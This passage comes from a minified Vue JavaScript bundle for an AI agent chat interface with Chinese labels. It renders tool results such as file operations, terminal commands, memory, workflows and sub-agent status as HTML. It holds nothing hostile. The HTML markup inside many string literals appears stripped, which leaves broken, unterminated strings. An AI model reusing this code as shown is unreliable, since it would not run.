",text:String(O.text??""),className:""})}),S.push(..._(w)),A.forEach(O=>{const H=Number(O.line),G=Number.isFinite(H)?H+z:H;S.push({lineNo:G,marker:" ",text:String(O.text??""),className:""})});const Q=S.filter(O=>typeof O.lineNo=="number"&&Number.isFinite(O.lineNo));l.push({rows:S,minLine:Q.length?Math.min(...Q.map(O=>O.lineNo)):null,maxLine:Q.length?Math.max(...Q.map(O=>O.lineNo)):null})});else{const w=_(),S=w.filter(C=>typeof C.lineNo=="number"&&Number.isFinite(C.lineNo));l.push({rows:w,minLine:S.length?Math.min(...S.map(C=>C.lineNo)):null,maxLine:S.length?Math.max(...S.map(C=>C.lineNo)):null})}});const u=l.sort((p,m)=>(p.minLine??Number.MAX_SAFE_INTEGER)-(m.minLine??Number.MAX_SAFE_INTEGER)),h=[];u.forEach(p=>{const m=h[h.length-1];m&&p.minLine!==null&&m.maxLine!==null&&p.minLine<=m.maxLine+1?(m.rows.push(...p.rows),m.maxLine=Math.max(m.maxLine,p.maxLine??m.maxLine)):h.push({...p,rows:[...p.rows]})});const d={" ":0,"-":1,"+":2};h.forEach((p,m)=>{m>0&&c(null," ","⋮","diff-separator");const v=new Set;p.rows.filter(y=>y.marker!==" "||typeof y.lineNo!="number"?!0:v.has(y.lineNo)?!1:(v.add(y.lineNo),!0)).sort((y,b)=>{const _=y.marker==="-"||y.marker==="+",w=b.marker==="-"||b.marker==="+";return _&&w?(d[y.marker]??9)-(d[b.marker]??9)||(y.lineNo??Number.MAX_SAFE_INTEGER)-(b.lineNo??Number.MAX_SAFE_INTEGER):(y.lineNo??Number.MAX_SAFE_INTEGER)-(b.lineNo??Number.MAX_SAFE_INTEGER)||(d[y.marker]??9)-(d[b.marker]??9)}).forEach(y=>c(y.lineNo,y.marker,y.text,y.className))}),a+="
"}return a}function i3(s,e){const t=e.path||s.path||"",n=as(s,"✓ 已删除");let i='
';return i+=`
路径:${Se(t)}
`,i+=`
状态:${n}
`,i+="
",i}function r3(s,e){const t=e.old_path||e.source||s.old_path||"",n=e.new_path||e.destination||s.new_path||"",i=as(s,"✓ 已重命名");let r='
';return r+=`
路径:${Se(t)}
`,r+=`
状态:${i}
`,r+=`
重命名:${Se(t)} → ${Se(n)}
`,r+="
",r}function o3(s,e){const t=e.path||s.path||"",n=as(s,"✓ 成功"),i=s.size||s.file_size||0,r=s.type||"read";let o='
';if(o+=`
路径:${Se(t)}
`,o+=`
状态:${n}
`,i>0&&(o+=`
大小:${uE(i)}
`),r!=="read"&&(o+=`
模式:${Se(r)}
`),o+="
",r==="read"){const a=s.content||s.text||"";a&&(o+='
',o+=`
${Se(a)}
`,o+="
")}else if(r==="search"){const a=s.matches||[],c=s.query||e.query||"";c&&(o+='
',o+=`
搜索关键词:${Se(c)}
`,o+=`
匹配数量:${a.length}
`,o+="
"),a.length>0?(o+='
',a.forEach((l,u)=>{u>0&&(o+='
'),o+='
';const h=l.line_start===l.line_end?`${l.line_start}`:`${l.line_start}-${l.line_end}`;o+=`
行 ${h}
`,o+=`
${Se(l.snippet||l.content||"")}
`,o+="
"}),o+="
"):o+='
未找到匹配内容
'}else if(r==="extract"){const a=s.segments||[];a.length>0?(o+='
',o+=`
提取片段数:${a.length}
`,o+="
",o+='
',a.forEach((c,l)=>{l>0&&(o+='
'),o+='
';const u=c.start_line||c.line_start||"?",h=c.end_line||c.line_end||"?";o+=`
行 ${u}-${h}
`,o+=`
${Se(c.content||c.text||"")}
`,o+="
"}),o+="
"):o+='
未提取到内容
'}return o}function a3(s,e){const t=e.image_path||e.path||s.path||"",n=as(s,"✓ 成功"),i=s.analysis||s.result||"";let r='
';return r+=`
路径:${Se(t)}
`,r+=`
状态:${n}
`,r+="
",i&&(r+='
',r+='',r+=`
${Se(i)}
`,r+="
"),r}function l3(s,e){const t=e.image_path||e.path||s.path||"",n=as(s,"✓ 成功"),i=s.size||s.file_size||0,r=s.text||s.ocr_text||"",o=s.image_url||s.url||"";let a='
';return a+=`
路径:${Se(t)}
`,a+=`
状态:${n}
`,i>0&&(a+=`
大小:${uE(i)}
`),a+="
",o&&(a+=`
OCR图片
`),r&&(a+='
',a+='',a+=`
${Se(r)}
`,a+="
"),a}function c3(s,e){const t=e.image_path||e.path||s.path||"",n=as(s,"✓ 成功"),i=s.size||s.file_size||0;let r=s.image_url||s.url||"";!r&&t&&s.success!==!1&&(r=`/api/file/content?path=${encodeURIComponent(t)}`);let o='
';if(o+=`
路径:${Se(t)}
`,o+=`
状态:${n}
`,i>0&&(o+=`
大小:${uE(i)}
`),o+="
",r){const a=Se(r);o+=`
查看图片
`}return o}function u3(s,e){const t=e.operation||e.action||"start",n=e.session_name||e.name||s.session_name||"",i=as(s,"✓ 成功");let r='
';return r+=`
操作:${Se(t)}
`,r+=`
终端名:${Se(n)}
`,r+=`
状态:${i}
`,r+="
",r}function h3(s,e){const t=e.command||e.input||"",n=e.output_wait||30,i=s.output||s.result||"";let r='
';return r+=`
指令:${Se(t)}
`,r+=`
等待时间:${n}秒
`,r+="
",i&&(r+='
',r+='',r+=`
${Se(i)}
`,r+="
"),r}function d3(s,e){const t=e.session_name||e.name||s.session_name||"",n=as(s,"✓ 成功"),i=e.start_line||0,r=e.end_line||0,o=s.content||s.output||"";let a='
';return a+=`
状态:${n}
`,a+=`
终端名:${Se(t)}
`,(i||r)&&(a+=`
行范围:${i} - ${r}
`),a+="
",o&&(a+='
',a+='',a+=`
${Se(o)}
`,a+="
"),a}function f3(s,e){const t=as(s,"✓ 完成"),n=(s==null?void 0:s.mode)||"seconds";let i='
';if(i+=`
状态:${t}
`,i+=`
模式:${Se(n)}
`,n==="seconds"||n===""||n===null){const r=e.seconds||e.duration||0;i+=`
等待时间:${r}秒
`,e.reason&&(i+=`
原因:${Se(String(e.reason))}
`)}else if(n==="wait_sub_agent_output"){const r=(s==null?void 0:s.agent_id)??(e==null?void 0:e.wait_sub_agent_output_ids)??"";r!==""&&(i+=`
等待子智能体:#${Se(String(r))}
`)}else if(n==="wait_sub_agent_ids"){const r=Array.isArray(s==null?void 0:s.agent_ids)?s.agent_ids:[];r.length>0&&(i+=`
等待子智能体:${r.map(String).join(", ")}
`);const o=Array.isArray(s==null?void 0:s.waited_task_ids)?s.waited_task_ids:[];o.length>0&&(i+=`
任务 ID:${o.map(String).join(", ")}
`)}else if(n==="wait_runcommand_id"){const r=(s==null?void 0:s.command_id)??(e==null?void 0:e.wait_runcommand_id)??"";r!==""&&(i+=`
后台命令 ID:${Se(String(r))}
`)}if(!(s!=null&&s.success)&&(s!=null&&s.error)&&(i+=`
错误:${Se(String(s.error))}
`),i+="
",n==="seconds"||n===""||n===null){const r=(s==null?void 0:s.message)||"";r&&(i+='
',i+='',i+=`
${Se(String(r))}
`,i+="
")}else if(n==="wait_sub_agent_output"){const r=(s==null?void 0:s.message)||"";r&&(i+='
',i+='',i+=`
${Se(String(r))}
`,i+="
")}else if(n==="wait_sub_agent_ids"){const r=Array.isArray(s==null?void 0:s.results)?s.results:[];r.length>0&&(i+='
',i+=``,r.forEach(o=>{if(!o||typeof o!="object")return;const a=o.agent_id??"?",c=o.task_id??"?",l=o.status??"unknown",u=o.success===!0;i+='
',i+=`
子智能体 #${Se(String(a))}(任务 ${Se(String(c))})· ${Se(String(l))} · ${u?"✓ 成功":"✗ 失败"}
`;const h=o.message||o.error||"";if(h){const d=o.runtime_seconds??o.elapsed_seconds??null,p=d!==null?`运行 ${Math.round(Number(d))} 秒`:"",m=o.stats;if(p||m){if(i+='
',p&&(i+=`${Se(p)}`),m&&typeof m=="object"){const v=[];m.api_calls!=null&&v.push(`调用 ${m.api_calls} 次`),m.files_read!=null&&v.push(`阅读 ${m.files_read} 次`),m.edit_files!=null&&v.push(`编辑 ${m.edit_files} 次`),m.searches!=null&&v.push(`搜索 ${m.searches} 次`),m.web_pages!=null&&v.push(`网页 ${m.web_pages} 个`),m.commands!=null&&v.push(`命令 ${m.commands} 个`),v.length>0&&(i+=`${Se(v.join(" | "))}`)}i+="
"}i+=`
${Se(String(h))}
`}i+="
"}),i+="
")}else if(n==="wait_runcommand_id"){const r=s==null?void 0:s.result;if(r&&typeof r=="object"){const o=r.output||r.stdout||"",a=r.exit_code!==void 0?r.exit_code:r.returncode;i+='
',i+='',a!==void 0&&(i+=`
退出码:${Se(String(a))}
`),o?i+=`
${Se(String(o))}
`:i+='
[无输出]
',i+="
"}}return i}function p3(s,e){const t=e.command||"",n=e.timeout||30,i=s.output||s.stdout||"",r=s.exit_code!==void 0?s.exit_code:s.returncode;let o='
';return o+=`
指令:${Se(t)}
`,o+=`
超时时间:${n}秒
`,r!==void 0&&(o+=`
退出码:${r}
`),o+="
",i&&(o+='
',o+='',o+=`
${Se(i)}
`,o+="
"),o}function g3(s,e){const t=e.operation||s.operation||"",n=e.content||"",i=e.index||s.index,r=s.count||0;let o='
';return t==="append"?(o+="
新增记忆
",o+=`
${r}. ${Se(n)}
`):t==="replace"?(o+="
更新记忆
",o+=`
${i}. ${Se(n)}
`):t==="delete"&&(o+="
删除记忆
",o+=`
${i}. ${Se(n||"已删除")}
`),o+="
",o}function m3(s,e){const t=e.name||s.memory_name||"",n=as(s,"✓ 已读取"),i=s.content||s.text||"";let r='
';return r+=`
状态:${n}
`,r+=`
记忆:${Se(t)}
`,r+="
",s.success&&i?(r+='
',r+=`
${Se(i)}
`,r+="
"):!s.success&&s.error&&(r+=`
${Se(String(s.error))}
`),r}function v3(s,e){const t=Array.isArray(s==null?void 0:s.keywords)?s.keywords:Array.isArray(e==null?void 0:e.keywords)?e.keywords:[],n=Array.isArray(s==null?void 0:s.results)?s.results:[],i=as(s,"✓ 完成");let r='
';return r+=`
关键词:${Se(t.join(" / ")||"(未指定)")}
`,r+=`
状态:${i}
`,r+=`
命中记忆:${n.length} 条
`,!(s!=null&&s.success)&&(s!=null&&s.error)&&(r+=`
错误:${Se(String(s.error))}
`),r+="
",n.length?(r+='
',n.forEach(o=>{r+='
',r+=`
${Se(o.name||o.file||"")}
`,o.description&&(r+=`
描述:${Se(o.description)}
`);const a=Array.isArray(o.snippets)?o.snippets:[];a.length>0&&(r+='
',a.forEach(c=>{const l=`L${c.line??"?"}: ${c.text||""}`,u=Se(l);r+=`
${u}
`}),r+="
"),r+="
"}),r+="
",r):(s!=null&&s.success&&(r+='
未找到匹配的项目记忆。
'),r)}function y3(s,e){const t=e.name||s.memory_name||"",n=e.description||"",i=e.content||"",r=as(s,"✓ 已更新");let o='
';return o+=`
状态:${r}
`,o+=`
记忆:${Se(t)}
`,n&&(o+=`
描述:${Se(n)}
`),!s.success&&s.error&&(o+=`
错误:${Se(String(s.error))}
`),o+="
",s.success&&i&&(o+='
',o+='',o+=`
${Se(i)}
`,o+="
"),o}function b3(s,e){const t=Array.isArray(s==null?void 0:s.results)?s.results:[],n=Array.isArray(s==null?void 0:s.keywords)?s.keywords:Array.isArray(e==null?void 0:e.keywords)?e.keywords:[],i=n.length?n.join(" / "):(s==null?void 0:s.query)||(e==null?void 0:e.query)||"(未指定)";let r='
';return r+=`
关键词:${Se(i)}
`,r+=`
日期范围:${Se((s==null?void 0:s.start_date)||(e==null?void 0:e.start_date)||"不限")} ~ ${Se((s==null?void 0:s.end_date)||(e==null?void 0:e.end_date)||"不限")}
`,r+="
范围:当前工作区历史对话(已排除当前对话)
",r+=`
结果数量:${t.length}
`,r+="
",t.length?(r+='
',t.forEach(o=>{r+='
',r+=`
${Se(o.title||"未命名对话")}
`,r+=`
ID:${Se(o.id||"")}
`,r+=`
规模:${Se(String(o.total_messages||0))} 条消息,${Se(String(o.total_tools||0))} 个工具
`,o.first_user_message&&(r+=`
首条用户消息:${Se(o.first_user_message)}
`),o.updated_at&&(r+=`
更新时间:${Se(o.updated_at)}
`),r+="
"}),r+="
",r):(r+='
未找到匹配对话。
',r)}function _3(s,e){const t=as(s,(s==null?void 0:s.mode)==="read"?"✓ 已返回":"✓ 已生成");let n='
';return n+=`
对话 ID:${Se((s==null?void 0:s.conversation_id)||(e==null?void 0:e.conversation_id)||"")}
`,n+=`
状态:${t}
`,n+=`
模式:${Se((s==null?void 0:s.mode)||(e==null?void 0:e.mode)||"")}
`,s!=null&&s.title&&(n+=`
标题:${Se(s.title)}
`),s!=null&&s.path&&(n+=`
回顾文件:${Se(s.path)}
`),(s==null?void 0:s.char_count)!==void 0&&(n+=`
字符数:${Se(String(s.char_count))}
`),n+="
",!(s!=null&&s.success)&&(s!=null&&s.error)&&(n+=`
${Se(s.error)}
`),s!=null&&s.too_long&&(s!=null&&s.path)&&(n+='
内容太长,已保存到文件,请分段或查找阅读。
'),s!=null&&s.content&&(n+='
',n+='',n+=`
${Se(s.content)}
`,n+="
"),n}function S3(s){const e=as(s,"✓ 已归档");let t='
';return t+=`
状态:${e}
`,s!=null&&s.skill_name&&(t+=`
Skill:${Se(s.skill_name)}
`),t+="
",!(s!=null&&s.success)&&(s!=null&&s.error)&&(t+=`
${Se(s.error)}
`),s!=null&&s.sync_warning&&(t+=`
${Se(s.sync_warning)}
`),t}function w3(s,e){if(!(s!=null&&s.success)){const r=(s==null?void 0:s.error)??"查询失败";return`
⚠️ ${Se(String(r))}
`}const t=String((e==null?void 0:e.name)||(s==null?void 0:s.workflow_name)||"");if(t){let r='
';r+=`
工作流:${Se(t)}
`,r+="
";const o=String((s==null?void 0:s.message)||"");return o&&(r+='
',r+=`
${Se(o)}
`,r+="
"),r}const n=Array.isArray(s==null?void 0:s.workflows)?s.workflows:[];if(n.length===0)return'
当前没有可用工作流。
';let i='
';return i+=`
工作流数量:${n.length}
`,i+="
",i+='
',n.forEach(r=>{const o=Se(String((r==null?void 0:r.name)||"未命名")),a=Se(String((r==null?void 0:r.description)||"(无描述)")),c=(r==null?void 0:r.source)==="builtin"?"内置":"用户",l=Number((r==null?void 0:r.nodeCount)||0);i+='
',i+=`
${o}
`,i+=`
${a}
`,i+=`
来源:${c} | 节点:${l}
`,i+="
"}),i+="
",i}function k3(s,e){const t=as(s,"✓ 已归档");let n='
';n+=`
状态:${t}
`;const i=String((e==null?void 0:e.source_dir)||"");return i&&(n+=`
源目录:${Se(i)}
`),s!=null&&s.workflow_name&&(n+=`
工作流:${Se(String(s.workflow_name))}
`),s!=null&&s.success&&typeof(s==null?void 0:s.node_count)=="number"&&(n+=`
节点数:${s.node_count}
`),s!=null&&s.success&&(s!=null&&s.overwritten)?n+="
模式:覆盖已有版本
":s!=null&&s.success&&(s!=null&&s.shadows_builtin)&&(n+="
模式:用户副本(遮蔽同名内置)
"),n+="
",!(s!=null&&s.success)&&(s!=null&&s.error)&&(n+=`
${Se(String(s.error))}
`),s!=null&&s.success&&(s!=null&&s.summary)&&(n+='
',n+=Se(String(s.summary)),n+="
"),n}function C3(s){return{self_identify:"AI 自称",user_name:"用户称呼",profession:"用户职业",tone:"交流语气",considerations:"注意事项",theme:"主题",communication_style:"交流风格",conversation_continuity:"对话连续性",enabled:"个性化开关"}[s]||s}function T3(s,e){return e==null||e===""?"未设置":s==="enabled"?e?"开启":"关闭":s==="considerations"?typeof e!="string"||e.trim()===""?"未设置":e.trim():s==="communication_style"?{default:"default(标准 AI 风格)",human_like:"human_like(拟人聊天风格)",auto:"auto(自动)"}[String(e)]||String(e):s==="conversation_continuity"&&{low:"low(低)",medium:"medium(中)",high:"high(高)"}[String(e)]||String(e)}function A3(s,e){const t=e.question||s.question||"",n=e.context||s.context||"",i=as(s,"✓ 已回答"),r=s.status==="answered"?String(s.answer_text||s.message||"").trim():"";let o='
';o+=`
状态:${Se(i)}
`,t&&(o+=`
问题:${Se(String(t))}
`),n&&(o+=`
说明:${Se(String(n))}
`),o+="
";const a=Array.isArray(e.options)?e.options:[];return a.length>0&&(o+='
',o+='
',o+="
提供的选项:
",a.forEach((c,l)=>{const u=String((c==null?void 0:c.label)||(c==null?void 0:c.id)||`选项 ${l+1}`),h=String((c==null?void 0:c.description)||"").trim();o+=`
${l+1}. ${Se(u)}${h?` — ${Se(h)}`:""}
`}),o+="
"),r&&(o+='
',o+='
',r.split(` +`).map(c=>c.trim()).filter(Boolean).forEach(c=>{const l=c.indexOf(":");if(l>0){const u=c.slice(0,l+1),h=c.slice(l+1);o+=`
${Se(u)}${Se(h)}
`}else o+=`
用户回答:${Se(c)}
`}),o+="
"),o}function E3(s,e){const t=String(e.action||s.action||"read"),n=as(s,t==="update"?"✓ 已更新":"✓ 已读取"),i=String(s.updated_field||e.field||""),r=s.updated_value??e.value;let o='
';return o+=`
操作:${Se(t==="update"?"更新配置":"读取配置")}
`,o+=`
状态:${n}
`,s!=null&&s.success?(t==="update"&&i&&(o+=`
修改项:${Se(C3(i))}
`,o+=`
修改后:${Se(T3(i,r))}
`),o+="
",o):(s!=null&&s.error&&(o+=`
错误:${Se(String(s.error))}
`),Array.isArray(s==null?void 0:s.validation_errors)&&s.validation_errors.length>0&&(o+=`
校验:${Se(s.validation_errors.join(";"))}
`),o+="",o)}function M3(s,e){const t=as(s,"✓ 已创建"),n=s.todo_list||{},i=n.title||e.title||"",r=n.tasks||e.tasks||[];let o='
';return o+=`
状态:${t}
`,o+=`
标题:${Se(i)}
`,o+="
",r.length>0&&(o+='
',o+='
',r.forEach(a=>{const c=typeof a=="string"?a:a.text||a.title||a.content||"";o+=`
${Se(c)}
`}),o+="
",o+="
"),o}function x3(s){const e=as(s,"✓ 已更新"),t=s.todo_list||{},n=t.title||"",i=t.tasks||[];let r='
';return r+=`
状态:${e}
`,r+=`
标题:${Se(n)}
`,r+="
",i.length>0&&(r+='
',r+='
',i.forEach(o=>{const a=typeof o=="string"?o:o.text||o.title||o.content||"",c=typeof o=="object"&&(o.status==="done"||o.completed||o.done||o.checked);r+=`
${Se(a)}
`}),r+="
",r+="
"),r}function I3(s,e){const t=as(s,"✓ 已触发"),n=s.type||e.type||"",i=s.content||s.message||"";let r='
';return r+=`
状态:${t}
`,r+=`
类型:${Se(n)}
`,r+="
",i&&(r+='
',r+=`
${Se(i)}
`,r+="
"),r}function R3(s,e){const t=as(s,"✓ 已创建","✗ 创建失败"),n=s.agent_id??e.agent_id??"",i=s.task_id??"",r=s.deliverables_dir??"",o=e.task??"",a=s.message??s.summary??"",c=s.stats||{},l=s.runtime_seconds??s.elapsed_seconds??c.runtime_seconds??0,u=c.api_calls??c.turn_count??0,h=(c.files_read||0)+(c.write_files||0)+(c.edit_files||0)+(c.searches||0)+(c.web_pages||0)+(c.commands||0),d=l>0||u>0||h>0;let p='
';if(p+=`
状态:${t}
`,n!==""&&(p+=`
子智能体 ID:${Se(String(n))}
`),i!==""&&(p+=`
任务 ID:${Se(String(i))}
`),r!==""&&(p+=`
交付目录:${Se(String(r))}
`),o){const m=String(o).slice(0,200),v=String(o).length>200?"…":"";p+=`
任务:${Se(m+v)}
`}return p+="
",(a||d)&&(p+='
',d&&(p+='',l>0&&(p+=`
工作时间:${X$(l)}
`),u>0&&(p+=`
调用次数:${u} 次
`),h>0&&(p+=`
工具次数:${h} 次
`)),a&&(d&&(p+=''),p+=`
${Se(String(a))}
`),p+="
"),p}function L3(s,e){const t=as(s,"✓ 已关闭","✗ 关闭失败"),n=s.agent_id??e.agent_id??"",i=s.task_id??"",r=s.message??s.system_message??"";let o='
';return o+=`
状态:${t}
`,n!==""&&(o+=`
子智能体 ID:${Se(String(n))}
`),i!==""&&(o+=`
任务 ID:${Se(String(i))}
`),o+="
",r&&(o+='
',o+=`
${Se(String(r))}
`,o+="
"),o}function P3(s){if(!s.success){const n=s.error??"查询失败";return`
⚠️ ${Se(String(n))}
`}const e=Array.isArray(s.results)?s.results:[];if(e.length===0)return'
未返回子智能体状态。
';let t='
';return e.forEach(n=>{var l,u;const i=n.agent_id??"",r=n.found!==!1,o=String(n.status||""),a=n.task_id??"",c=n.summary??((l=n.final_result)==null?void 0:l.message)??((u=n.final_result)==null?void 0:u.summary)??"";t+='
',t+=`
子智能体 #${Se(String(i))}
`,r?(t+='
',o==="completed"?t+="
状态:已完成
":o==="terminated"?t+="
状态:已终止
":o==="running"?t+="
状态:运行中
":o==="pending"?t+="
状态:等待中
":t+=`
状态:${Se(o||"未知")}
`,a!==""&&(t+=`
任务 ID:${Se(String(a))}
`),t+="
",c&&(t+='
',t+=`
${Se(String(c))}
`,t+="
")):(t+='
',t+="
状态:不存在
",t+="
"),t+="
"}),t+="
",t}function O3(s,e){const t=as(s,"✓ 已发送","✗ 发送失败"),n=e.agent_id??s.agent_id??"";let i='
';return i+=`
状态:${t}
`,n!==""&&(i+=`
子智能体 ID:${Se(String(n))}
`),!(s!=null&&s.success)&&(s!=null&&s.error)&&(i+=`
错误:${Se(String(s.error))}
`),i+="
",i}function D3(s,e){const t=as(s,"✓ 已回复","✗ 回复失败"),n=e.question_id??s.question_id??"",i=e.answer??"";let r='
';if(r+=`
状态:${t}
`,n&&(r+=`
问题 ID:${Se(String(n))}
`),!(s!=null&&s.success)&&(s!=null&&s.error)&&(r+=`
错误:${Se(String(s.error))}
`),r+="
",i&&typeof i=="string"){r+='
',r+='';const o=String(i).slice(0,500),a=String(i).length>500?"…":"";r+=`
${Se(o+a)}
`,r+="
"}return r}function N3(s,e){const t=!!(s!=null&&s.overwritten),n=s!=null&&s.success?t?"✓ 已覆盖更新":"✓ 已创建":"✗ 创建失败",i=e.role_id??s.role_id??"",r=e.name??s.name??i;let o='
';return o+=`
状态:${n}
`,i!==""&&(o+=`
角色 ID:${Se(String(i))}
`),r&&r!==i&&(o+=`
角色名:${Se(String(r))}
`),!(s!=null&&s.success)&&(s!=null&&s.error)&&(o+=`
错误:${Se(String(s.error))}
`),o+="
",o}function B3(s){if(!(s!=null&&s.success)){const n=(s==null?void 0:s.error)??"查询失败";return`
⚠️ ${Se(String(n))}
`}const e=Array.isArray(s.roles)?s.roles:[];if(e.length===0)return'
当前没有可用角色。
';let t='
';return t+=`
角色数量:${e.length}
`,t+="
",t+='
',e.forEach(n=>{const i=n.role_id||"未知",r=n.name||i,o=n.description||"",a=n.thinking_mode||"fast",c=n.is_custom?"是":"否";t+='
',t+=`
${Se(i)} — ${Se(r)}
`,o&&(t+=`
${Se(o)}
`),t+=`
思考模式:${Se(a)} | 自定义:${Se(c)}
`,t+="
"}),t+="
",t}function F3(s){if(!(s!=null&&s.success)){const n=(s==null?void 0:s.error)??"查询失败";return`
⚠️ ${Se(String(n))}
`}const e=Array.isArray(s.agents)?s.agents:[];if(e.length===0)return'
当前会话没有活跃子智能体。
';let t='
';return t+=`
活跃数量:${e.length}
`,t+="
",t+='
',e.forEach(n=>{const i=n.agent_id??"?",r=n.display_name||`Agent_${i}`,o=n.status||"unknown",a=n.summary||"",c=n.last_output||"";if(t+='
',t+=`
#${Se(String(i))} ${Se(r)} [${Se(o)}]
`,t+='
',a&&(t+=`
任务:${Se(String(a))}
`),c){const l=String(c).slice(0,120),u=String(c).length>120?"…":"";t+=`
最近输出:${Se(l+u)}
`}t+="
",t+="
"}),t+="
",t}const $3=["data-block-id"],H3={class:"status-icon"},U3={class:"status-text"},W3={class:"tool-desc"},z3={class:"content-inner"},j3=["innerHTML"],V3={key:0,class:"progress-indicator"},zM=at({name:"ToolAction",__name:"ToolAction",props:{action:{},expanded:{type:Boolean},blockId:{},iconStyle:{type:Function},getToolAnimationClass:{type:Function},getToolIcon:{type:Function},getToolStatusText:{type:Function},getToolDescription:{type:Function},formatSearchTopic:{type:Function},formatSearchTime:{type:Function},formatSearchDomains:{type:Function},streamingMessage:{type:Boolean},registerCollapseContent:{type:Function},collapseKey:{}},emits:["toggle"],setup(s){const e=s;function t(){return hE(e.action,e.formatSearchTopic,e.formatSearchTime,e.formatSearchDomains)}return(n,i)=>(F(),$("div",{class:ke(["collapsible-block tool-block",{expanded:s.expanded,processing:s.action.tool.status==="preparing"||s.action.tool.status==="running",completed:s.action.tool.status==="completed"}]),"data-block-id":s.blockId||s.collapseKey||s.action.tool.id||s.action.id||"tool"},[E("div",{class:"collapsible-header",onClick:i[0]||(i[0]=r=>n.$emit("toggle"))},[i[1]||(i[1]=E("div",{class:"arrow"},null,-1)),E("div",H3,[E("span",{class:ke(["tool-icon icon icon-md",s.getToolAnimationClass(s.action.tool)]),style:Ke(s.iconStyle(s.getToolIcon(s.action.tool))),"aria-hidden":"true"},null,6)]),E("span",U3,ae(s.getToolStatusText(s.action.tool)),1),E("span",W3,ae(s.getToolDescription(s.action.tool)),1)]),E("div",{class:"collapsible-content",ref:r=>s.registerCollapseContent&&s.registerCollapseContent(s.collapseKey||s.action.tool.id||s.action.id||"tool",r)},[E("div",z3,[E("div",{innerHTML:t()},null,8,j3)])],512),s.action.tool.status==="preparing"||s.action.tool.status==="running"?(F(),$("div",V3)):ge("",!0)],10,$3))}}),G3="data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%3e%3cpath%20d='M15%2012H3m14%206H3M21%206H3'%20/%3e%3c/svg%3e",q3={class:"more-copy"},K3={class:"more-title"},Q3={class:"more-desc"},X3=["data-block-id"],Y3=["onClick"],J3={class:"status-icon"},Z3={class:"status-text"},e5=["onScroll"],t5=["data-block-id"],s5=["onClick"],n5={class:"status-icon"},i5={class:"status-text"},r5={class:"tool-desc"},o5={class:"content-inner"},a5=["innerHTML"],l5={key:0,class:"progress-indicator"},Xk=6,c5=600,u5=36,h5=at({name:"StackedBlocks",__name:"StackedBlocks",props:{actions:{},expandedBlocks:{},conversationRunning:{type:Boolean},isLatestMessage:{type:Boolean},iconStyle:{type:Function},toggleBlock:{type:Function},registerThinkingRef:{type:Function},handleThinkingScroll:{type:Function},getToolAnimationClass:{type:Function},getToolIcon:{type:Function},getToolStatusText:{type:Function},getToolDescription:{type:Function},formatSearchTopic:{type:Function},formatSearchTime:{type:Function},formatSearchDomains:{type:Function}},emits:["more-toggle"],setup(s,{emit:e}){const t=s,n=e;let i=0;const r=`stacked-${++i}`,o=qs(),a=ye(()=>o.form.stacked_hide_borders),c=X=>hE(X,t.formatSearchTopic,t.formatSearchTime,t.formatSearchDomains),l=pe(null),u=pe(null),h=pe(null),d=pe(!1),p=pe(0),m=pe(0),v=pe(0),g=pe(0),y=pe(!1),b=pe({}),_=new Map,w=ye(()=>(t.actions||[]).filter(X=>X&&(X.type==="thinking"||X.type==="tool"))),S=ye(()=>Math.max(0,w.value.length-Xk)),C=ye(()=>S.value>0||d.value),T=ye(()=>w.value.length===1),k=ye(()=>!!t.conversationRunning&&!!t.isLatestMessage),A=ye(()=>w.value.length),M=ye(()=>d.value?"已展开全部":"更多"),R=ye(()=>d.value?`共 ${A.value} 个步骤`:`${S.value} 个步骤折叠`),P=(X,J)=>(X==null?void 0:X.blockId)||(X==null?void 0:X.id)||`stacked-${J}`,L=(X,J)=>{var he;return(he=t.expandedBlocks)==null?void 0:he.has(P(X,J))},z=X=>{var J;return(J=t.expandedBlocks)==null?void 0:J.has(X)},Q=X=>{const J=Math.max(0,b.value[X]||0);return{maxHeight:z(X)?`${J}px`:"0px"}},W=X=>{var he;const J=(he=X==null?void 0:X.tool)==null?void 0:he.status;return J==="preparing"||J==="running"},V=X=>{var J;return((J=X==null?void 0:X.tool)==null?void 0:J.status)==="completed"},N=()=>{d.value=!d.value,le();const X=h.value;X instanceof HTMLElement&&n("more-toggle",{element:X,expanded:d.value,stackKey:r})},O=X=>{typeof t.toggleBlock=="function"&&(t.toggleBlock(X),le())},H=(X,J)=>{J instanceof HTMLElement?_.set(X,J):_.delete(X),typeof t.registerThinkingRef=="function"&&t.registerThinkingRef(X,J)},G=(X,J)=>{typeof t.handleThinkingScroll=="function"&&t.handleThinkingScroll(X,J)},ee=X=>X?X instanceof HTMLElement?X:X.$el&&X.$el instanceof HTMLElement?X.$el:null:null,ie=()=>{const X=ee(h.value);if(!X)return 56;const J=X.querySelector(".more-title");return Math.max(48,Math.ceil((J==null?void 0:J.getBoundingClientRect().height)||56))},ve=()=>{const X=ee(u.value);if(!ee(l.value)||!X)return;const he=Array.from(X.children),be=w.value,Re=[],rt={};he.forEach((ce,de)=>{const we=be[de],Le=P(we,de),He=ce.querySelector(".collapsible-header"),yt=ce.querySelector(".content-inner"),At=He?Math.ceil(He.offsetHeight):u5,Nt=yt?Math.min(Math.ceil(yt.offsetHeight),c5):0;rt[Le]=Nt;const It=z(Le),Jt=a.value||de===he.length-1?0:1;Re.push(At+(It?Nt:0)+Jt)}),b.value=rt;const st=ce=>ce.length?ce.reduce((de,we)=>de+we,0):0,et=st(Re),De=st(Re.slice(0,Math.max(0,Re.length-Xk))),xe=st(Re.slice(-Xk));m.value=C.value?ie():0;const se=m.value+(d.value||!C.value?et:xe);p.value=se+2,v.value=d.value||!C.value?0:-De,g.value=Math.max(0,se-m.value)},le=()=>{ft(()=>{requestAnimationFrame(()=>{ve(),y.value||requestAnimationFrame(()=>{y.value=!0})})})};let oe=null,I=null;const K=()=>{oe&&(oe.disconnect(),_.forEach(X=>oe.observe(X)))};return Cn(()=>{le(),typeof ResizeObserver<"u"&&(oe=new ResizeObserver(()=>{I&&cancelAnimationFrame(I),I=requestAnimationFrame(()=>ve())}),ft(()=>K()))}),xn(()=>{oe&&(oe.disconnect(),oe=null),I&&(cancelAnimationFrame(I),I=null)}),Xe(()=>{var Re,rt,st,et;const X=w.value,J=((Re=X[0])==null?void 0:Re.blockId)||((rt=X[0])==null?void 0:rt.id)||"",he=((st=X[X.length-1])==null?void 0:st.blockId)||((et=X[X.length-1])==null?void 0:et.id)||"",be=X.map(De=>{var xe,se,ce;return(De==null?void 0:De.type)==="tool"?`T:${((xe=De==null?void 0:De.tool)==null?void 0:xe.status)||"?"}${(se=De==null?void 